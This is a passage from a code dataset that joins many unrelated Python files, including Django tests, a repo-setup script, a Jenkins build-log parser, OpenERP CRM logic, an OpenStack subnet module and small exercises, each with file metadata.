epsilon[i] += np.nansum(np.nansum(tmp * m_psd2_n, axis=0),\n axis=0) * fct\n\n epsilon /= 1e6 * n_s.data * 2\n epsilon = ts_scalar(vdf.time.data, epsilon)\n\n return epsilon\n","sub_path":"pyrfu/mms/calculate_epsilon.py","file_name":"calculate_epsilon.py","file_ext":"py","file_size_in_byte":3928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"166121966","text":"# -*- coding: utf-8 -*-\n\nfrom model_mommy import mommy\n\nfrom django.test import TestCase\nfrom django.utils import timezone\nfrom django.contrib.auth.models import Permission, AnonymousUser\n\nfrom .models import User\n\n\n# models test\nclass UserTest(TestCase):\n\n def setUp(self):\n see_all_users_perm = Permission.objects.get(codename=\"see_all_users\")\n self.root = mommy.make(\"auth.User\", is_superuser=True)\n self.admin1 = mommy.make(\"auth.User\", is_superuser=False)\n self.admin2 = mommy.make(\"auth.User\", is_superuser=False)\n self.admin3 = mommy.make(\"auth.User\", is_superuser=False,\n user_permissions=[see_all_users_perm])\n self.user = User.objects.create(first_name='John', last_name='Doe',\n iban='TN4296799592386779707432',\n created_at=timezone.now(),\n created_by=self.admin1)\n\n def test_user_creation(self):\n self.assertTrue(isinstance(self.user, User))\n self.assertIn(self.user.first_name, str(self.user))\n\n def test_user_manager(self):\n self.assertIn(self.user, User.objects.for_user(self.admin1))\n self.assertIn(self.user, User.objects.for_user(self.root))\n self.assertNotIn(self.user, User.objects.for_user(self.admin2))\n\n def test_see_all_users_permission(self):\n self.assertIn(self.user, User.objects.for_user(self.admin3))\n\n def test_for_anonymous_user(self):\n self.assertNotIn(self.user, User.objects.for_user(AnonymousUser()))\n self.assertEqual([], User.objects.for_user(AnonymousUser()))\n","sub_path":"helden_users/apps/users/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"565569864","text":"# this script sets clones a git repo\n# sets up env environment\n# - upgrades pip\n# - installs flake8 \n\nimport subprocess\nimport pathlib\nimport platform\n\n\n# input\ngit_repo = \"https://github.com/jeffcall-ch/pdf-drawing-differences\"\nproxy = \"--proxy https://148.64.11.164:8080\"\n\n# variables\ngit_repo_name = git_repo.split(\"/\")[-1]\npytho_repo_home = pathlib.Path.home() / \"Python\" / \"Python_repos\"\ncurrent_repo_folder = pytho_repo_home / git_repo_name\nenv_folder = current_repo_folder / \"env\"\nenv_script_folder = env_folder / \"Scripts\"\nrequirements_file = current_repo_folder / \"requirements.txt\"\nwin_pip_exec = env_script_folder / \"pip\"\nwin_python_exec = env_script_folder / \"python\"\n\nprint(platform.system())\n\n\ndef main():\n create_folders()\n create_venv()\n install_packages() \n\ndef create_folders():\n if not current_repo_folder.exists():\n subprocess.call('git clone ' + git_repo, cwd=str(pytho_repo_home), shell=True)\n if not env_folder.exists():\n subprocess.call('mkdir env', cwd=str(current_repo_folder), shell=True)\n\ndef create_venv():\n if not env_script_folder.exists():\n subprocess.call(f'python -m venv {env_folder}', cwd=str(current_repo_folder), shell=True)\n\n\ndef install_packages():\n # upgrade pip to latest\n subprocess.call(f'{win_pip_exec} {proxy} install --upgrade pip', cwd=str(current_repo_folder), shell=True)\n \n # install all from requirements.txt\n if requirements_file.exists():\n subprocess.call(f'{win_pip_exec} {proxy} install -r requirements.txt', cwd=str(current_repo_folder), shell=True)\n \n\n # install additional packages\n subprocess.call(f'{win_pip_exec} {proxy} install -U flake8', cwd=str(current_repo_folder), shell=True)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"project_starter.py","file_name":"project_starter.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"298279623","text":"from microbit import *\n\nprint(\"appui sur bouton A pour mesure de temperature\")\n\nwhile True:\n if button_a.is_pressed():\n valeurAnaTMP36 = pin0.read_analog()\n # REM : vérifier tension d'alim (3.26 V) si résultats de température douteux\n tensionA0 = valeurAnaTMP36*3.26/1023 # calcul de la valeur de la tension en volts\n \n temperature = (tensionA0 - 0.5)*100\t# calcul de la température\n print(\"T = \", temperature) # affichage du résultat\n sleep(1000) # temporisation\n","sub_path":"thermistance-microbit/microbit-tmp36-correc.py","file_name":"microbit-tmp36-correc.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"521797376","text":"# Hadassa Duperron\n# LAb Cod IV Int Prog. Computadores \n\nfrom math import *\n\nn = int(input())\n\npi = 0\na = 1\nb = 1\n\nwhile(n > 0):\n\tpi = pi + (4.0 / a) * b\n\tb = b * -1\n\ta = a + 2\n\tn = n - 1\n\nprint(round(pi,8))\n\t\n\t","sub_path":"exs/1394-1142.py","file_name":"1394-1142.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"6662733","text":"# !/usr/bin/python2.7\n# coding=utf-8\n\"\"\"\nbe created on '2015/8/30'\n\n@author : david\n\"\"\"\nimport urlparse\n\ndef valid_links(url):\n netloc_list = 'www.tianma.cn'\n scheme, netloc, path, params, query, fragment = urlparse.urlparse(url)\n if params:\n return False\n return scheme in ['http', 'https'] and\\\n len(netloc.split('.')) >= 2 and \\\n path.split('.')[-1] not in ['pdf', 'flv', 'doc'] and \\\n netloc in netloc_list if netloc_list else True\n","sub_path":"utils/links.py","file_name":"links.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"361342015","text":"'''Hacker Rank: Basic Calculator Problem\n\nYou are given two real numbers and your task is to print the\nAddition\nSubtraction\nMultiplication\nDivison\nInteger Divison\nof the two numbers in 5 separate lines. Keep a precision of two digits after decimal. \n\nOriginal problem: https://www.hackerrank.com/challenges/basic-calculator '''\n\n\nimport sys\n\nlines = [[float(x) for x in line.split()] for line in sys.stdin]\na = lines[0][0]\nb = lines[1][0]\n\nsum = \"{:.2f}\".format(a + b, 2)\nsub = \"{:.2f}\".format(a - b, 2)\nmult = \"{:.2f}\".format(a * b, 2)\ndiv = \"{:.2f}\".format(a // b, 2)\nidiv = \"{:.2f}\".format(a / b, 2)\n\nn = \"\\n\"\n\nprint (str(sum) + n + str(sub) + n + str(mult) + n + str(idiv) + n + str(div))\n","sub_path":"HackerRank/Python/HR_basic_calculator.py","file_name":"HR_basic_calculator.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"175517305","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport time # import time \nimport numpy as np # import numpy\nimport scipy as sp # import scipy\nimport math # import basic math functions\nimport random # import basic random number generator functions\n\nimport matplotlib.pyplot as plt # import matplotlib\nfrom IPython import display \n\n\ndef my_plot(x, auditory=None, visual=None, posterior_pointwise=None):\n \"\"\"\n Plots normalized Gaussian distributions and posterior \n\n DO NOT EDIT THIS FUNCTION !!!\n \n Args:\n x (numpy array of floats): points at which the likelihood has been evaluated\n auditory (numpy array of floats): normalized probabilities for auditory likelihood evaluated at each `x`\n visual (numpy array of floats): normalized probabilities for visual likelihood evaluated at each `x`\n posterior (numpy array of floats): normalized probabilities for the posterior evaluated at each `x`\n \n Returns:\n Nothing.\n \"\"\"\n if auditory is None:\n auditory = np.zeros_like(x)\n\n if visual is None:\n visual = np.zeros_like(x)\n\n if posterior_pointwise is None:\n posterior_pointwise = np.zeros_like(x)\n\n plt.plot(x, auditory, '-r', LineWidth=2, label='Auditory')\n plt.plot(x, visual, '-b', LineWidth=2, label='Visual')\n plt.plot(x, posterior_pointwise, '-g', LineWidth=2, label='Posterior')\n plt.legend()\n plt.ylabel('Probability')\n plt.xlabel('Orientation (Degrees)')\n\n\ndef my_dynamic_plot(x, auditory, visual, posterior_pointwise):\n \"\"\"\n DO NOT EDIT THIS FUNCTION !!!\n\n Plots the auditory, visual and posterior distributions and update the figure every .2 seconds\n \n Args: \n x (numpy array of floats): points at which the likelihood has been evaluated\n auditory (numpy array of floats): normalized probabilities for auditory likelihood evaluated at each `x`\n visual (numpy array of floats): normalized probabilities for visual likelihood evaluated at each `x`\n posterior (numpy array of floats): normalized probabilities for the posterior evaluated at each `x`\n \n Returns:\n Nothing\n \"\"\"\n \n plt.clf()\n plt.plot(x, auditory, '-r', LineWidth=2, label='Auditory')\n plt.plot(x, visual, '-b', LineWidth=2, label='Visual')\n plt.plot(x, posterior_pointwise, '-g', LineWidth=2, label='Posterior')\n plt.ylabel('Probability')\n plt.xlabel('Orientation (Degrees)')\n plt.legend()\n display.clear_output(wait=True)\n display.display(plt.gcf())\n time.sleep(0.2)\n","sub_path":"tutorials/utils/myplots.py","file_name":"myplots.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"321664518","text":"# 미래도시 문제\nimport sys\nINF = sys.maxsize\n\n# 노드의 개수 및 간선의 개수를 입력받기\nn, m = map(int,input().split())\ngraph = [[INF]*(n+1) for _ in range(n+1)]\n\n# 자기 자신에서 자기 자신으로 가는 비용은 0으로 초기화\nfor a in range(1, n+1):\n for b in range(1,n+1):\n if a ==b:\n graph[a][b] = 0\n\n# 각 간선에 대한 정보를 입력받아 그 값으로 초기화\nfor _ in range(m):\n # A와 B가 서로에게 가는 비용은 1이라고 설정합니다.\n a,b = map(int,input().split())\n graph[a][b] = 1\n graph[b][a] = 1\n\n# 거쳐 갈 노드 X와 최종 목적지 노드 K를 입력받기\nx, k = map(int,input().split())\n\n# 점화식에 따라 플로이드 워셜 알고리즘을 수행\nfor k in range(1,n+1):\n for a in range(1, n+1):\n for b in range(1,n+1):\n graph[a][b] = min(graph[a][b],graph[a][k] + graph[k][b])\n\n# 수행된 결과를 출력\ndistance = graph[1][k] + graph[k][x]\n\n# 도달할 수 없는 경우 -1을 출력합니다.\nif distance >= INF:\n print(\"-1\")\n# 도달할 수 있다면, 최단 거리를 출력\nelse:\n print(distance)","sub_path":"코딩테스트책/9-4.py","file_name":"9-4.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"200609757","text":"import numpy as np\nimport torch\nfrom torch import nn\n\nimport qnn.functional as F\n\n\nclass QLinear(nn.Module):\n\n def __init__(self, in_features, out_features, bias=True):\n super(QLinear, self).__init__()\n\n self.in_features = in_features\n self.out_features = out_features\n self.weights = nn.Parameter(torch.Tensor(in_features, out_features, 4))\n\n if bias:\n self.bias = nn.Parameter(torch.Tensor(out_features, 4))\n else:\n self.register_parameter('bias', None)\n\n self.real_lock = None\n\n self.reset_parameters()\n\n def add_real_lock(self):\n self.real_lock = RealLock()\n\n def reset_parameters(self):\n self.weights = nn.Parameter(_init_weights(self.in_features, self.out_features))\n if self.bias is not None:\n self.bias = nn.Parameter(torch.zeros_like(self.bias))\n\n def forward(self, input):\n bias = self.bias if self.real_lock is None else self.real_lock(self.bias)\n output = F.linear(input, self.get_weights(), bias)\n if self.real_lock is not None:\n output = self.real_lock(output)\n return output\n\n def get_weights(self):\n if self.real_lock is not None:\n return self.real_lock(self.weights)\n return self.weights\n\nclass QDropout(nn.Module):\n def __init__(self, p=0.5, inplace=False):\n super(QDropout, self).__init__()\n self.p = p\n self.inplace = inplace\n\n def forward(self, input):\n return F.dropout(input, self.p, self.training, self.inplace)\n\n\nclass RealLock(nn.Module):\n def forward(self, x):\n h = torch.zeros_like(x.transpose(0, -1))\n h[0] = x.transpose(0, -1)[0]\n return h.transpose(0, -1)\n\n\n\ndef _init_weights(input_size, output_size, epsilon=1e-8):\n size = (input_size, output_size)\n sigma = (2 * input_size + output_size) ** (-1 / 2)\n theta = np.random.uniform(-np.pi, np.pi, size)\n phi = np.random.uniform(-sigma, sigma, size)\n\n x = np.random.uniform(0.0, 1.0, size)\n y = np.random.uniform(0.0, 1.0, size)\n z = np.random.uniform(0.0, 1.0, size)\n\n norm = np.sqrt(x ** 2 + y ** 2 + z ** 2) + epsilon\n x, y, z = x / norm, y / norm, z / norm\n\n r = torch.Tensor(phi * np.cos(theta))\n i = torch.Tensor(phi * x * np.sin(theta))\n j = torch.Tensor(phi * y * np.sin(theta))\n k = torch.Tensor(phi * z * np.sin(theta))\n\n return torch.cat([\n r.unsqueeze(-1),\n i.unsqueeze(-1),\n j.unsqueeze(-1),\n k.unsqueeze(-1),\n ], dim=2)\n","sub_path":"qnn/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"409678037","text":"#! /usr/bin/env python3\r\nimport sys\r\nimport subprocess\r\nimport json\r\nfrom datetime import datetime\r\n\r\njob_output = subprocess.getoutput('cd /var/lib/jenkins/jobs/ && ls')\r\njob_split = job_output.split()\r\n\r\njob_last = subprocess.getoutput('cat job_list.txt')\r\njob_last_split = job_last.splitlines()\r\njob_list = job_last_split\r\n\r\nfor j in job_split:\r\n if j in job_last_split:\r\n pass\r\n else:\r\n job_list.append(j)\r\n command = subprocess.Popen(f'echo {j} >> job_list.txt', stdout=subprocess.PIPE, shell=True)\r\n command.communicate()\r\n\r\nwith open('check_workspace.json') as f:\r\n js = json.load(f)\r\n job_dict_last = js['LAST_BUILDS']\r\n\r\njob_dict_new = {}\r\nfor j in job_list:\r\n files = subprocess.getoutput(f'cd /var/lib/jenkins/jobs/{j}/builds/ && ls -l')\r\n files_split = files.split()\r\n\r\n build_nos = []\r\n for i, f in enumerate(files_split):\r\n if 'dr' in f:\r\n build_nos.append(files_split[i + 8])\r\n job_dict_new[j] = build_nos\r\n\r\nfor k in job_dict_new:\r\n try:\r\n job_dict_last[k]\r\n except:\r\n job_dict_last[k] = []\r\n\r\nnew_builds = {}\r\ncommand = subprocess.Popen(f'echo > check_workspace.json', stdout=subprocess.PIPE, shell=True)\r\ncommand.communicate()\r\nwith open('check_workspace.json', 'r+') as nf:\r\n for k in job_dict_new:\r\n try:\r\n buildno = job_dict_new[k][-1]\r\n if buildno in job_dict_last[k]:\r\n continue\r\n else:\r\n new_builds[k] = [buildno]\r\n except:\r\n pass\r\n \r\n js['LAST_BUILDS'][k] = [buildno]\r\n\r\n json.dump(js, nf)\r\n\r\nto_log = {}\r\nfor k in new_builds:\r\n to_log[k] = [new_builds[k]]\r\n build = new_builds[k][0]\r\n console = subprocess.getoutput(f'cd /var/lib/jenkins/jobs/{k}/builds/{build}/ && cat log')\r\n console_split = console.splitlines()\r\n\r\n for l in console_split:\r\n try:\r\n if 'started by' in l.lower():\r\n if 'user' in l.lower():\r\n l = l.split('[0m')\r\n l = l[1]\r\n to_log[k].append(str(l))\r\n else:\r\n to_log[k].append(str(l))\r\n if 'finished:' in l.lower():\r\n to_log[k].append(l)\r\n else:\r\n continue\r\n except:\r\n to_log[k].append('unknown user')\r\n to_log[k].append('Finished: Unknown')\r\n\r\nfor k in new_builds:\r\n try:\r\n no = new_builds[k]\r\n build = no[-1]\r\n job_log = subprocess.getoutput(f'cd /var/log/jenkins/ && cat jenkins.log | grep Run#execute:.{k}.#{build}')\r\n job_log_split = job_log.split() \r\n job_date = job_log_split[0]\r\n job_time = job_log_split[1]\r\n d_time = f'{job_date} {job_time}'\r\n except:\r\n d_time = datetime.now()\r\n \r\n to_log[k].append(d_time)\r\n\r\nfor k in to_log:\r\n try:\r\n build_dict = to_log[k]\r\n command = f'echo \"{build_dict[3]} EXECUTED_BUILD {k} #{str(build_dict[0])} BY {build_dict[1]} WAS {build_dict[2]}\" >> /var/log/jenkins/jenkins_custom.log'\r\n wr = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)\r\n wr.communicate()\r\n except:\r\n pass\r\n\r\nsys.exit()","sub_path":"jenkins/logging/cron_job/usr/local/bin/check_workspace.py","file_name":"check_workspace.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"83011105","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nimport openstack\n\nfrom ansible_collections.os_migrate.os_migrate.plugins.module_utils \\\n import common, const, reference, resource\n\n\nclass Subnet(resource.Resource):\n resource_type = const.RES_TYPE_SUBNET\n sdk_class = openstack.network.v2.subnet.Subnet\n\n info_from_sdk = [\n 'created_at',\n 'id',\n 'network_id',\n 'prefix_length',\n 'project_id',\n 'revision_number',\n 'segment_id',\n 'subnet_pool_id',\n 'updated_at',\n ]\n\n params_from_sdk = [\n 'allocation_pools',\n 'cidr',\n 'description',\n 'dns_nameservers',\n 'gateway_ip',\n 'host_routes',\n 'ip_version',\n 'ipv6_address_mode',\n 'ipv6_ra_mode',\n 'is_dhcp_enabled',\n 'name',\n 'service_types',\n 'tags',\n 'use_default_subnet_pool'\n ]\n\n sdk_params_from_params = [x for x in params_from_sdk if x not in ['tags']]\n\n params_from_refs = [\n 'network_ref',\n 'segment_ref',\n 'subnet_pool_ref'\n ]\n\n sdk_params_from_refs = [\n 'network_id',\n 'segment_id',\n 'subnet_pool_id',\n ]\n\n readonly_sdk_params = ['network_id', 'project_id']\n\n @classmethod\n def from_sdk(cls, conn, sdk_resource):\n obj = super(Subnet, cls).from_sdk(conn, sdk_resource)\n obj._sort_param('allocation_pools', by_keys=['start', 'end'])\n obj._sort_param('dns_nameservers')\n obj._sort_param('host_routes', by_keys=['destination', 'nexthop'])\n return obj\n\n @staticmethod\n def _create_sdk_res(conn, sdk_params):\n return conn.network.create_subnet(**sdk_params)\n\n @staticmethod\n def _find_sdk_res(conn, name_or_id, filters=None):\n return conn.network.find_subnet(name_or_id, **(filters or {}))\n\n def _hook_after_update(self, conn, sdk_res, is_create):\n common.neutron_set_tags(conn, sdk_res, self.params()['tags'])\n\n @staticmethod\n def _update_sdk_res(conn, sdk_res, sdk_params):\n return conn.network.update_subnet(sdk_res, **sdk_params)\n\n @staticmethod\n def _refs_from_sdk(conn, sdk_res):\n refs = {}\n refs['network_id'] = sdk_res['network_id']\n refs['network_ref'] = reference.network_ref(\n conn, sdk_res['network_id'])\n refs['segment_id'] = sdk_res['segment_id']\n refs['segment_ref'] = reference.segment_ref(\n conn, sdk_res['segment_id'])\n refs['subnet_pool_id'] = sdk_res['subnet_pool_id']\n refs['subnet_pool_ref'] = reference.subnet_pool_ref(\n conn, sdk_res['subnet_pool_id'])\n return refs\n\n def _refs_from_ser(self, conn):\n refs = {}\n refs['network_ref'] = self.params()['network_ref']\n refs['network_id'] = reference.network_id(\n conn, self.params()['network_ref'])\n refs['segment_ref'] = self.params()['segment_ref']\n refs['segment_id'] = reference.segment_id(\n conn, self.params()['segment_ref'])\n refs['subnet_pool_ref'] = self.params()['subnet_pool_ref']\n refs['subnet_pool_id'] = reference.subnet_pool_id(\n conn, self.params()['subnet_pool_ref'])\n return refs\n","sub_path":"os_migrate/plugins/module_utils/subnet.py","file_name":"subnet.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"633069683","text":"#-*- coding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2010 Tiny SPRL ().\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nfrom osv import fields, osv\nfrom tools.translate import _\nimport crm\n\n\nAVAILABLE_STATES = [\n ('draft','Draft'),\n ('open','Open'),\n ('cancel', 'Lost'),\n ('done', 'Converted'),\n ('pending','Pending')\n]\n\nclass crm_opportunity(osv.osv):\n \"\"\" Opportunity Cases \"\"\"\n _order = \"priority,date_action,id desc\"\n _inherit = 'crm.lead'\n _columns = {\n # From crm.case\n 'partner_address_id': fields.many2one('res.partner.address', 'Partner Contact', \\\n domain=\"[('partner_id','=',partner_id)]\"), \n\n # Opportunity fields\n 'probability': fields.float('Probability (%)',group_operator=\"avg\"),\n 'planned_revenue': fields.float('Expected Revenue'),\n 'ref': fields.reference('Reference', selection=crm._links_get, size=128),\n 'ref2': fields.reference('Reference 2', selection=crm._links_get, size=128),\n 'phone': fields.char(\"Phone\", size=64),\n 'date_deadline': fields.date('Expected Closing'),\n 'date_action': fields.date('Next Action Date'),\n 'title_action': fields.char('Next Action', size=64),\n 'stage_id': fields.many2one('crm.case.stage', 'Stage', domain=\"[('type','=','opportunity')]\"),\n }\n \n def _case_close_generic(self, cr, uid, ids, find_stage, *args):\n res = super(crm_opportunity, self).case_close(cr, uid, ids, *args)\n for case in self.browse(cr, uid, ids):\n #if the case is not an opportunity close won't change the stage\n if not case.type == 'opportunity':\n return res\n \n value = {}\n stage_id = find_stage(cr, uid, 'opportunity', case.section_id.id or False)\n if stage_id:\n stage_obj = self.pool.get('crm.case.stage').browse(cr, uid, stage_id)\n value.update({'stage_id': stage_id})\n if stage_obj.on_change:\n value.update({'probability': stage_obj.probability})\n \n #Done un crm.case\n #value.update({'date_closed': time.strftime('%Y-%m-%d %H:%M:%S')})\n \n\n self.write(cr, uid, ids, value)\n return res\n \n def case_close(self, cr, uid, ids, *args):\n \"\"\"Overrides close for crm_case for setting probability and close date\n @param self: The object pointer\n @param cr: the current row, from the database cursor,\n @param uid: the current user’s ID for security checks,\n @param ids: List of case Ids\n @param *args: Tuple Value for additional Params\n \"\"\"\n res = self._case_close_generic(cr, uid, ids, self._find_won_stage, *args)\n \n for (id, name) in self.name_get(cr, uid, ids):\n opp = self.browse(cr, uid, id)\n if opp.type == 'opportunity':\n message = _(\"The opportunity '%s' has been won.\") % name\n self.log(cr, uid, id, message)\n return res\n\n def case_mark_lost(self, cr, uid, ids, *args):\n \"\"\"Mark the case as lost: state = done and probability = 0%\n @param self: The object pointer\n @param cr: the current row, from the database cursor,\n @param uid: the current user’s ID for security checks,\n @param ids: List of case Ids\n @param *args: Tuple Value for additional Params\n \"\"\"\n res = self._case_close_generic(cr, uid, ids, self._find_lost_stage, *args)\n \n for (id, name) in self.name_get(cr, uid, ids):\n opp = self.browse(cr, uid, id)\n if opp.type == 'opportunity':\n message = _(\"The opportunity '%s' has been marked as lost.\") % name\n self.log(cr, uid, id, message)\n return res\n \n def case_cancel(self, cr, uid, ids, *args):\n \"\"\"Overrides cancel for crm_case for setting probability\n @param self: The object pointer\n @param cr: the current row, from the database cursor,\n @param uid: the current user’s ID for security checks,\n @param ids: List of case Ids\n @param *args: Tuple Value for additional Params\n \"\"\"\n res = super(crm_opportunity, self).case_cancel(cr, uid, ids, args)\n self.write(cr, uid, ids, {'probability' : 0.0})\n return res\n\n def case_reset(self, cr, uid, ids, *args):\n \"\"\"Overrides reset as draft in order to set the stage field as empty\n @param self: The object pointer\n @param cr: the current row, from the database cursor,\n @param uid: the current user’s ID for security checks,\n @param ids: List of case Ids\n @param *args: Tuple Value for additional Params\n \"\"\"\n res = super(crm_opportunity, self).case_reset(cr, uid, ids, *args)\n self.write(cr, uid, ids, {'stage_id': False, 'probability': 0.0})\n return res\n \n \n def case_open(self, cr, uid, ids, *args):\n \"\"\"Overrides open for crm_case for setting Open Date\n @param self: The object pointer\n @param cr: the current row, from the database cursor,\n @param uid: the current user’s ID for security checks,\n @param ids: List of case's Ids\n @param *args: Give Tuple Value\n \"\"\"\n res = super(crm_opportunity, self).case_open(cr, uid, ids, *args)\n \n return res\n\n def onchange_stage_id(self, cr, uid, ids, stage_id, context=None):\n\n \"\"\" @param self: The object pointer\n @param cr: the current row, from the database cursor,\n @param uid: the current user’s ID for security checks,\n @param ids: List of stage’s IDs\n @stage_id: change state id on run time \"\"\"\n if not stage_id:\n return {'value':{}}\n \n stage = self.pool.get('crm.case.stage').browse(cr, uid, stage_id, context=context)\n\n if not stage.on_change:\n return {'value':{}}\n return {'value':{'probability': stage.probability}}\n\n _defaults = {\n 'company_id': lambda s,cr,uid,c: s.pool.get('res.company')._company_default_get(cr, uid, 'crm.lead', context=c),\n 'priority': crm.AVAILABLE_PRIORITIES[2][0],\n }\n\n def action_makeMeeting(self, cr, uid, ids, context=None):\n \"\"\"\n This opens Meeting's calendar view to schedule meeting on current Opportunity\n @param self: The object pointer\n @param cr: the current row, from the database cursor,\n @param uid: the current user’s ID for security checks,\n @param ids: List of Opportunity to Meeting IDs\n @param context: A standard dictionary for contextual values\n\n @return : Dictionary value for created Meeting view\n \"\"\"\n value = {}\n for opp in self.browse(cr, uid, ids, context=context):\n data_obj = self.pool.get('ir.model.data')\n\n # Get meeting views\n result = data_obj._get_id(cr, uid, 'crm', 'view_crm_case_meetings_filter')\n res = data_obj.read(cr, uid, result, ['res_id'])\n id1 = data_obj._get_id(cr, uid, 'crm', 'crm_case_calendar_view_meet')\n id2 = data_obj._get_id(cr, uid, 'crm', 'crm_case_form_view_meet')\n id3 = data_obj._get_id(cr, uid, 'crm', 'crm_case_tree_view_meet')\n if id1:\n id1 = data_obj.browse(cr, uid, id1, context=context).res_id\n if id2:\n id2 = data_obj.browse(cr, uid, id2, context=context).res_id\n if id3:\n id3 = data_obj.browse(cr, uid, id3, context=context).res_id\n\n context = {\n 'default_opportunity_id': opp.id,\n 'default_partner_id': opp.partner_id and opp.partner_id.id or False,\n 'default_user_id': uid, \n 'default_section_id': opp.section_id and opp.section_id.id or False,\n 'default_email_from': opp.email_from,\n 'default_state': 'open', \n 'default_name': opp.name\n }\n value = {\n 'name': _('Meetings'),\n 'context': context,\n 'view_type': 'form',\n 'view_mode': 'calendar,form,tree',\n 'res_model': 'crm.meeting',\n 'view_id': False,\n 'views': [(id1, 'calendar'), (id2, 'form'), (id3, 'tree')],\n 'type': 'ir.actions.act_window',\n 'search_view_id': res['res_id'],\n 'nodestroy': True\n }\n return value\n\ncrm_opportunity()\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"addons/crm/crm_opportunity.py","file_name":"crm_opportunity.py","file_ext":"py","file_size_in_byte":9508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"569127200","text":"import json\n\nfrom os import path\nfrom os import remove\n\nfrom taiwan_address import Session, Base, engine, DB_PATH\nfrom taiwan_address.models import Road, City, Area\n\n\nPWD = path.dirname(path.abspath(__file__))\n\n\ndef import_data():\n db = Session()\n with open(path.join(PWD, 'address.json')) as json_file:\n address_data = json.loads(json_file.read())\n\n for city_info in address_data:\n city = City(name=city_info['CityName'],\n en_name=city_info['CityEngName'])\n db.add(city)\n db.commit()\n print(city.name)\n for area_info in city_info['AreaList']:\n area = Area(name=area_info['AreaName'],\n en_name=area_info['AreaEngName'],\n zip_code=area_info['ZipCode'],\n city=city)\n db.add(area)\n db.commit()\n print('\\t', area.name)\n for road_info in area_info['RoadList']:\n road = Road(name=road_info['RoadName'],\n en_name=road_info['RoadEngName'],\n area=area)\n db.add(road)\n db.commit()\n print('\\t', road.name)\n\n db.close()\n print('------------------------------')\n print('Done.')\n\n\ndef main():\n if path.exists(DB_PATH):\n remove(DB_PATH)\n Base.metadata.create_all(engine)\n import_data()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"import_data.py","file_name":"import_data.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"230837764","text":"#partially solved\n\n# cook your dish here\nt = int(input())\nwhile t>0:\n s1 = input()\n s2 = input()\n a = int(s1, 2)\n b = int(s2, 2)\n\n #print(str(a) +\"\\t\"+ str(b))\n count = 0\n while b>0:\n u = a^b\n v = a&b\n a = u\n b = 2*v\n count += 1\n\n print(count)\n\n t -= 1\n","sub_path":"DEC19B/BINADD/xor_add.py","file_name":"xor_add.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"388000456","text":"from .models import Token\nfrom netbox.tables import NetBoxTable, columns\n\n__all__ = (\n 'TokenTable',\n)\n\n\nTOKEN = \"\"\"{{ record }}\"\"\"\n\nALLOWED_IPS = \"\"\"{{ value|join:\", \" }}\"\"\"\n\nCOPY_BUTTON = \"\"\"\n{% if settings.ALLOW_TOKEN_RETRIEVAL %}\n {% copy_content record.pk prefix=\"token_\" color=\"success\" %}\n{% endif %}\n\"\"\"\n\n\nclass TokenActionsColumn(columns.ActionsColumn):\n # Subclass ActionsColumn to disregard permissions for edit & delete buttons\n actions = {\n 'edit': columns.ActionsItem('Edit', 'pencil', None, 'warning'),\n 'delete': columns.ActionsItem('Delete', 'trash-can-outline', None, 'danger'),\n }\n\n\nclass TokenTable(NetBoxTable):\n key = columns.TemplateColumn(\n template_code=TOKEN\n )\n write_enabled = columns.BooleanColumn(\n verbose_name='Write'\n )\n created = columns.DateColumn()\n expired = columns.DateColumn()\n last_used = columns.DateTimeColumn()\n allowed_ips = columns.TemplateColumn(\n template_code=ALLOWED_IPS\n )\n actions = TokenActionsColumn(\n actions=('edit', 'delete'),\n extra_buttons=COPY_BUTTON\n )\n\n class Meta(NetBoxTable.Meta):\n model = Token\n fields = (\n 'pk', 'description', 'key', 'write_enabled', 'created', 'expires', 'last_used', 'allowed_ips',\n 